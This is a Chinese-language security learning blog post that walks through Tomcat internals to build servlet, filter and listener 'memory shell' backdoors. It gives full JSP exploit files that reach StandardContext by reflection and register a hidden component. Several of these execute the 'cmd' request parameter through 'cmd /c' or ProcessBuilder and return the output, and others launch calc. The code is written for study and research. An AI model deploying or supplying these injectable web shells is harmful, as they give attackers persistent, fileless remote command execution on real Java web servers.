这里是本菜鸡开始学习内存马的起始文章

有关内存马的认知可以看看su18师傅的这篇文章:https://mp.weixin.qq.com/s/NKq4BZ8fLK7bsGSK5UhoGQ

有关tomcat源码分析的文章:Tomcat源码初识一 Tomcat整理流程图_tomcat流程图-CSDN博客

然后这里有一篇总结得特别全得内存马文章:https://paper.seebug.org/3120/

这里放一张文章中的源码分析的初始化流程图:

内存马流程

做个参考对大致流程有个概念

调试的时候我突然发现不应该开启tomcat的自动打开浏览器,这样调试访问前或者访问后的逻辑是才不会那么乱😢

因为他默认是在我们访问后才会去创建实例

Servlet内存马

简单demo

先写一个简单的demo然后再分析一下原理吧,先看看效果

这里用了使用了tomcat8,tomcat10用那个demo有些类找不到

要看源码的话需要导入对应tomcat版本的依赖

<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>8.5.50</version>
</dependency>

这是tomcat的核心依赖,起服务的过程源码基本都在这里

编写一个servlet内存马的步骤:

  • 找到StandardContext
  • 继承并编写一个恶意servlet
  • 创建Wapper对象
  • 设置Servlet的LoadOnStartUp的值
  • 设置Servlet的Name
  • 设置Servlet对应的Class
  • 将Servlet添加到context的children中
  • 将url路径和servlet类做映射
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="javax.servlet.Servlet" %>
<%@ page import="javax.servlet.ServletConfig" %>
<%@ page import="javax.servlet.ServletContext" %>
<%@ page import="javax.servlet.ServletRequest" %>
<%@ page import="javax.servlet.ServletResponse" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.io.PrintWriter" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
<title>MemoryShellInjectDemo</title>
</head>
<body>
<%
try {
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
String servletURL = "/" + getRandomString();
String servletName = "Servlet" + getRandomString();
Servlet servlet = new Servlet() {
@Override
public void init(ServletConfig servletConfig) {}
@Override
public ServletConfig getServletConfig() {
return null;
}
@Override
public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws IOException {
String cmd = servletRequest.getParameter("cmd");
{
InputStream in = Runtime.getRuntime().exec("cmd /c " + cmd).getInputStream();
Scanner s = new Scanner(in, "GBK").useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
servletResponse.setCharacterEncoding("GBK");
PrintWriter out = servletResponse.getWriter();
out.println(output);
out.flush();
out.close();
}
}
@Override
public String getServletInfo() {
return null;
}
@Override
public void destroy() {
}
};
Wrapper wrapper = standardContext.createWrapper();
wrapper.setName(servletName);
wrapper.setServlet(servlet);
wrapper.setServletClass(servlet.getClass().getName());
wrapper.setLoadOnStartup(1);
standardContext.addChild(wrapper);
standardContext.addServletMappingDecoded(servletURL, servletName);
response.getWriter().write("[+] Success!!!<br><br>[*] ServletURL:&nbsp;&nbsp;&nbsp;&nbsp;" + servletURL + "<br><br>[*] ServletName:&nbsp;&nbsp;&nbsp;&nbsp;" + servletName + "<br><br>[*] shellURL:&nbsp;&nbsp;&nbsp;&nbsp;http://localhost:8080/test" + servletURL + "?cmd=echo 世界,你好!");
} catch (Exception e) {
String errorMessage = e.getMessage();
response.setCharacterEncoding("UTF-8");
PrintWriter outError = response.getWriter();
outError.println("Error: " + errorMessage);
outError.flush();
outError.close();
}
%>
</body>
</html>
<%!
private String getRandomString() {
String characters = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
StringBuilder randomString = new StringBuilder();
for (int i = 0; i < 8; i++) {
int index = (int) (Math.random() * characters.length());
randomString.append(characters.charAt(index));
}
return randomString.toString();
}
%>

打入后效果

image-20240916160158629

然后就可以去访问对应路由执行命令

image-20240916160242879

原理分析

servlet内存马就是去找到源码中注册servlet的内容,然后我们重复一遍直接注册自己的servlet即可

这里我们是去找源码中如何将web.xml的配置变成servlet的过程

首先找到加载web.xml的ContextConfig#webconfig()

image-20240916162907251

然后里面就是读取web.xml的一些代码,重要在第九个步骤

image-20240916163037486

这里注释将web.xml应用于Context,调用ContextConfig#configureContext方法

跟进去看一看

image-20240916163737624

这里有很多的操作都是通过context加载进去,这里的context就是我们的StandardContext,tomcat每个容器启动时都会通过一个Standard***#startInternal()方法来启动,所以我们具体的context就是StandardContext开始的,我们可以调试看看这个context

image-20240916165022674

可以看到是我们的StandardContext,然后这个webxml里面就有解析我们web.xml文件拿到的servlet

image-20240916165127949

这个Hello就是我们自己注册的,所以第一步的找到StandardContext,其实就是获取当前应用的context实例,然后往里面注册servlet,我们回到configureContext方法继续往下找关键地方

image-20240916165818197

这里遍历我们的servlet然后创建wrapper,我们知道wrapper就是用来封装servlet的

image-20240916170126390

然后这里的wrapper就是我们知道的tomcat定义的Wrapper的实现类,拿到wrapper之后继续往下,看一下关键的set方法

image-20240916170822326

第一步先对loadOnStartup的值进行设置,这个值代表的是Servlet在启动时的加载顺序,如果设置为负数,那么Servlet将在第一次请求时才被加载

image-20240916171559932

这一步就是这是servlet的name

image-20240916171636372

这一步设置servletClass用的是全类名

image-20240916171908029

这一步将前面的wrapper添加到context里面

image-20240916172036567

然后这是将前面的servlet遍历完之后,再遍历servletMapping,往context里面添加映射,下面是servletMappings

image-20240916172220190

然后这就是整个注册的流程,但是这里并没有实例化我们写的Servlet类,因为它存在懒加载机制,需要我们去访问的时候才会创建实例,但如果我们自己动态在页面写就会走不到那个流程,需要我们直接将实例类放进去

现在知道所有流程我们就可以开始写内存马了,这里是根据组长的流程来写,比较简单

第一步找到standardContext,这也是最关键的一步,因为我们知道jsp里面是有request对象的,我们可以通过request对象来获取standardContext

ServletContext servletContext = request.getServletContext();
System.out.println(servletContext);

我们先看看request#getServletContext返回的对象

image-20240916174627626

我们可以看到往里面第二层的context就是StandardContext,这里我们可以直接用反射来获取

//1.获取standardContext
//获取ApplicationContext
ServletContext servletContext = request.getServletContext();
Field applicationContextField=servletContext.getClass().getDeclaredField("context");
applicationContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);
//获取StandardContext
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);

然后后面的就比较简单了,按照我们前面分析的注册步骤即可,就是要注意一点我们要手动将servlet实例注册进去

//2.获取wrapper然后添加
Wrapper wrapper = standardContext.createWrapper();
wrapper.setName("TestShell");
wrapper.setServletClass(TestShell.class.getName());
//应对懒加载添加我们的实例化servlet
wrapper.setServlet(new TestShell());
//3.将wrapper添加进standardContext
standardContext.addChild(wrapper);
//4.添加映射
standardContext.addServletMappingDecoded("/shell","TestShell");

然后这个servlet我们就简单的弹一个计算器,完整的jsp文件如下

addServlet.jsp

<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
<title>Title</title>
</head>
<body>

<%!
public class TestShell extends HttpServlet {
public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
Runtime.getRuntime().exec("calc");
}
}
%>
<%
//动态注册
//1.获取standardContext
//获取ApplicationContext
ServletContext servletContext = request.getServletContext();
Field applicationContextField=servletContext.getClass().getDeclaredField("context");
applicationContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);
//获取StandardContext
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
//2.获取wrapper然后添加
Wrapper wrapper = standardContext.createWrapper();
wrapper.setName("TestShell");
wrapper.setServletClass(TestShell.class.getName());
//应对懒加载添加我们的实例化servlet
wrapper.setServlet(new TestShell());
//3.将wrapper添加进standardContext
standardContext.addChild(wrapper);
//4.添加映射
standardContext.addServletMappingDecoded("/shell","TestShell");
%>
</body>
</html>

image-20240916181846766

image-20240916181903999

然后成功白屏弹计算器😋

而我们前面的demo我是直接用的文章里的,他这里就是用了一个随机路径和随机文件名的方式注册,然后直接用匿名类的形式进行实现化,然后直接将命令结果打印出来到网页

Servlet servlet = new Servlet() {
@Override
public void init(ServletConfig servletConfig) {}
@Override
public ServletConfig getServletConfig() {
return null;
}
@Override
public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws IOException {
String cmd = servletRequest.getParameter("cmd");
{
InputStream in = Runtime.getRuntime().exec("cmd /c " + cmd).getInputStream();
Scanner s = new Scanner(in, "GBK").useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
servletResponse.setCharacterEncoding("GBK");
PrintWriter out = servletResponse.getWriter();
out.println(output);
out.flush();
out.close();
}
}
@Override
public String getServletInfo() {
return null;
}
@Override
public void destroy() {
}
};

他这里使用cmd /c来实现可以执行带有空格的命令,例如echo 世界,你好!;对于Linux系统,那就是/bin/sh -c

至于LoadOnStartUp这个玩意没发现他的作用暂时

关于实例化servlet的添加

因为懒加载机制我们是在访问后才进行的实例化servlet,然后我就想探究一下这个servlet到底是在哪里被实例化然后添加到wrapper里面,但我调了很久也没有发现放进wrapper的地方

image-20240919204457080

我这里找到的调用StandardWrapper#allocate()来实例化一个servlet,然后往下有个createFilterChain函数,他将servlet传递了进去,我就去看了一下

image-20240919205001955

然后只有这里是将实例添加进了filterchain,此时我还是没看到如exp里面的要将servlet放进wrapper里面

image-20240919205426641

最后执行到servlet的时候就是在doFilter方法里面调用servlet属性的service方法,然后到servlet的doGet方法里了

后来终于想通了,看代码太不细致还是漏了关键的地方,我在访问内存马页面之后再调试回到那个allocate方法里面,发现我们设置了实例之后他的判断逻辑就不同了

image-20240919210819062

因为我们设置了instance,这部分的逻辑就被跳过了,然后就会到下面这里

image-20240919210910379

直接返回我们设置的instance,然后再放进了filterchain里面,这就是为什么我们需要用wrapper.setServlet方法的原因

所以其实我在想如果能够获取filterChain的话直接添加效果应该也是一样的

Filter内存马

这部分参考文章:https://longlone.top/%E5%AE%89%E5%85%A8/java/java%E5%AE%89%E5%85%A8/%E5%86%85%E5%AD%98%E9%A9%AC/Tomcat-Filter%E5%9E%8B/,https://drun1baby.top/2022/08/22/Java%E5%86%85%E5%AD%98%E9%A9%AC%E7%B3%BB%E5%88%97-03-Tomcat-%E4%B9%8B-Filter-%E5%9E%8B%E5%86%85%E5%AD%98%E9%A9%AC/

写Filter内存马的步骤:

  • 获取StandardContext;
  • 继承并编写一个恶意filter;
  • 实例化一个FilterDef类,包装filter并存放到StandardContext.filterDefs中;
  • 实例化一个FilterMap类,将我们的Filter和urlpattern相对应,使用addFilterMapBefore存放到StandardContext.filterMaps中;
  • 通过反射获取filterConfigs,实例化一个FilterConfigApplicationFilterConfig)类,传入StandardContextfilterDefs,存放到filterConfig中。

有关filter相关的内容可以看一下里面文章的总结。

原理分析

这里开始先分析再写

filter我们知道就是servlet前的一个过滤器,所以我们只要实现一个filter并写恶意代码,然后添加进去即可

了解一下有关filter的各个名词

  • FilterDefs:首先,需要定义过滤器FilterDef,存放这些FilterDef的数组被称为FilterDefs,每个FilterDef定义了一个具体的过滤器,包括描述信息、名称、过滤器实例以及class等。
  • FilterConfigs:是这些过滤器的具体配置实例,我们可以为每个过滤器定义具体的配置参数,以满足系统的需求。
  • FilterMaps:用于将FilterConfigs映射到具体的请求路径或其他标识上,这样系统在处理请求时就能够根据请求的路径或标识找到对应的FilterConfigs。
  • FilterChain:是由多个FilterConfigs组成的链式结构,它定义了过滤器的执行顺序,在处理请求时系统会按照FilterChain中的顺序依次执行每个过滤器,对请求进行过滤和处理。

访问网页前的filter添加

同样的filter的添加也在我们之前说到的ContextConfig#configureContext里面

image-20240916192256483

这里往context里面添加filterdef,具体代码如下

image-20240916192439333

添加到一个hashMap里面,下面是filterDef的相关属性

image-20240919213120425

有些属性是我们到时候创建的时候需要设置的

image-20240916192510416

这里是添加filterMap进去,再看一下filterMap里相关的属性

image-20240919213313122

这就是访问路由前的注册内容

访问之后

现在我们写一个filter类,然后断在doFilter方法,看一下执行的过程

这里的chain.doFilter是一定要写的不然就走不到servlet那里了,因为遍历doFilter之后,最终是在servletService()方法中走到request

image-20240919213506978

观察一下他的调用栈,可以看到是从StandardWrapperValve#invoke过来的,我们去看一下

image-20240917005012554

所以可以知道是在filterChain的doFilter方法里面执行我们的filter和servlet

然后在找一下filterChain是在哪创建的

image-20240917005252976

可以看到是在这里,接下来重新下断点到这,看一下filterChain的创建

image-20240919214048265

这里先创建了一个ApplicationFilterChain然后看能否从req中获取filterChain,不能就新建一个ApplicationFilterChain同时set给req,继续往下

image-20240917010128142

然后就是获取standardContext再从中获取filterMaps,然后看一下现在filterMaps里面的内容

image-20240919214407244

可以看到有有我们自己的那个FilterMap

image-20240917010647039

接下来会遍历filterMaps 中的 filterMap的filterName,如果发现符合当前请求 url 与 filterMap 中的 urlPattern 匹配且通过filterName能找到对应的filterConfig,则会将其加入filterChain

那来看一下ApplicationFilterConfig的创建

image-20240919214844764

可以看到从StandardContext的filterConfigs里面直接根据key获取ApplicationFilterConfig的实例

最后看一下filterConfig的内容

image-20240919215145392

包含了filter实例和filterDef还有context这几个重要元素,到此filterChain创建完成,然后就是执行前面说的的doFilter方法

内存马编写

前面分析可知,最重要的两个方法是**StandardContext.findFilterMaps()StandardContext.findFilterConfig()**,我们只要往这2个属性里面插入对应的filterMap和filterConfig即可实现动态添加filter的目的,这些属性都在standardContext里面,那么standardContext里面是否也有添加这些属性的方法呢

这里standardContext提供了添加filterMap的方法addFilterMapBefore

image-20240917013619268

这里会先校验,然后再添加filterMap,跟进一下validateFilterMap方法

image-20240917013804538

可以看到它会根据filterName去寻找对应的filterDef,如果没找到的话会直接抛出异常,也就是说我们还需要往filterDefs里添加filterDef。

关于filterDefs,StandardContext也直接提供了对应的添加方法addFilterDef

image-20240917014031687

最后filterConfig并没有添加该属性的方法,需要我们通过反射获取属性进行修改

image-20240917014218759

现在大部分的问题我们都解决了

下面是具体的代码实现

<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
<title>Title</title>
</head>
<body>
<%!

%>
<%
// 获取StandardContext
ServletContext servletContext = request.getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);


// 创建一个filter实例
Filter evilFilter=new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException {

}

@Override
public void destroy() {

}

@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
if (request.getParameter("cmd") != null) {
byte[] bytes = new byte[1024];
Process process = new ProcessBuilder("cmd.exe", "/C", request.getParameter("cmd")).start();
int len = process.getInputStream().read(bytes);
//将命令回显写入到response里面去
response.getWriter().write(new String(bytes, 0, len));
process.destroy();
return;
}
//去执行doFilter方法
chain.doFilter(request,response);
}
};
// FilterDef
FilterDef filterDef = new FilterDef();
filterDef.setFilterName("clown");
filterDef.setFilterClass(evilFilter.getClass().getName());
//这里估计也是在实例化filter的时候如果filterDef设置了就直接返回filter,因为调试的时候filterDef里面正常也是没有filter实例的
filterDef.setFilter(evilFilter);
//添加FilterDef
standardContext.addFilterDef(filterDef);

// FilterMap
FilterMap filterMap = new FilterMap();
filterMap.setFilterName("clown");
filterMap.addURLPattern("/*");
filterMap.setDispatcher(DispatcherType.REQUEST.name());
//添加FilterMap
standardContext.addFilterMapBefore(filterMap);

// 获取filterConfigs
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);

//创建ApplicationFilterConfig
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);//将context和filterDef添加进去
filterConfigs.put("clown",filterConfig);

out.print("Inject Success !");



%>
</body>
</html>

image-20240917020309726

image-20240919224412807

成功!

还有exp中的这行代码filterMap.setDispatcher(DispatcherType.REQUEST.name());

我搜了一下它是定义了过滤器可以介入的几种请求类型。这些类型包括:

  • REQUEST:普通的客户端请求。
  • FORWARD:通过 RequestDispatcher 转发的请求。
  • INCLUDE:通过 JSP 包含指令包含的资源。
  • ERROR:作为错误页面请求。

所以这行代码不是必须的,删掉也一样可以

而且这行代码只支持Tomcat 7.x 以上,因为javax.servlet.DispatcherType 类是servlet 3 以后引入,而 Tomcat 7以上才支持 Servlet 3

Listener内存马

listener就是事件监听,java有很多中listener

image-20240918230547084

大都是继承自EventListener接口,这里用ServletRequestListener,他有下面的两个方法

1.void requestInitialized(ServletRequestEvent sre):
这个方法在 Servlet 请求对象被创建并且还没有被使用之前被调用。这通常发生在一个 HTTP 请求到达 Servlet 容器,并且容器决定为该请求创建一个新的 ServletRequest 对象时。这个方法可以用来初始化请求相关的资源,比如设置请求属性或者启动跟踪请求状态的逻辑。

2.void requestDestroyed(ServletRequestEvent sre):
这个方法在 Servlet 请求对象即将被销毁时被调用。这通常发生在请求处理完成,响应已经发送给客户端之后。这个方法可以用来清理请求相关的资源,比如关闭数据库连接或者清理在 requestInitialized 方法中创建的任何对象。

可以写一个简单的demo测试一下

package org.clown.servletshell;

import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;

public class ListenerTest implements ServletRequestListener {
@Override
public void requestInitialized(ServletRequestEvent sre) {
System.out.println("Listener 调用");
}

@Override
public void requestDestroyed(ServletRequestEvent sre) {
System.out.println("servlet 离开");
}
}

配置web.xml

<listener>
<listener-class>org.clown.servletshell.ListenerTest</listener-class>
</listener>

流程分析

接下来就是照常分析一下Listener是怎么注册的了

这里直接从ContextConfig#configureContext那里开始分析,也就是访问前的过程

那就再去读取web.xml的那个地方看看

image-20240919111941724

可以看到这里在添加filter之后就将listener的全类名进行添加,调用StandardContext#addApplicationListener方法

添加之后他会调用StandardContext#listenerStart

image-20240919113903688

然后这里会查找我们添加的listener,到这步的代码比较复杂就不调了,有个数就行

然后我们去访问网页,看一下请求过来时listener在哪里调用的

image-20240919114327349

这里下个断点然后看看调用栈,看哪一个函数最重要

image-20240919114444926

最重要的应该是这个函数StandardContext#fireRequestInitEvent

重新将断点下在这里看一看

image-20240919115146689

可以看到它接受了request请求参数然后进行相关操作,然后这里获取一个listener数组

我们进该方法看看

image-20240919115507610

可以看到applicationEventListenersList里面的就是我们的listener

而且StandardContext还有对应的添加listener的方法如下:

image-20240919115656529

然后就是到下面遍历触发我们定义的listener的requestInitialized()方法

image-20240919120033087

到这里流程就结束,这部分看起来还是比较简单的

相对应的请求结束的时候就会调用fireRequestDestroyEvent方法

image-20240919120248808

内存马编写

通过上面的流程分析,exp的编写步骤也很简单:

就是通过 StandardContext 类的 addApplicationEventListener() 方法把恶意的 Listener实例放进去,然后恶意代码写在requestInitialized()方法里面即可

exp

<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
<title>Title</title>
</head>
<body>
<%
//获取standardContext
ServletContext servletContext = request.getServletContext();
Field applicationContextField=servletContext.getClass().getDeclaredField("context");
applicationContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);

//创建恶意listener
ServletRequestListener servletRequestListener = new ServletRequestListener(){
@Override
public void requestDestroyed(ServletRequestEvent sre) {
HttpServletRequest request = (HttpServletRequest) sre.getServletRequest();
String cmd = request.getParameter("cmd");
if (cmd != null) {
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
e.printStackTrace();
} catch (NullPointerException n) {
n.printStackTrace();
}
}
}

@Override
public void requestInitialized(ServletRequestEvent sre) {

}
};
//添加监听器
standardContext.addApplicationEventListener(servletRequestListener);
%>

</body>
</html>

然后美美白屏弹计算器

image-20240919134253239

image-20240919134258008

这里我认为是并没有相关路径的匹配逻辑,所以不需要在访问前的那部分注册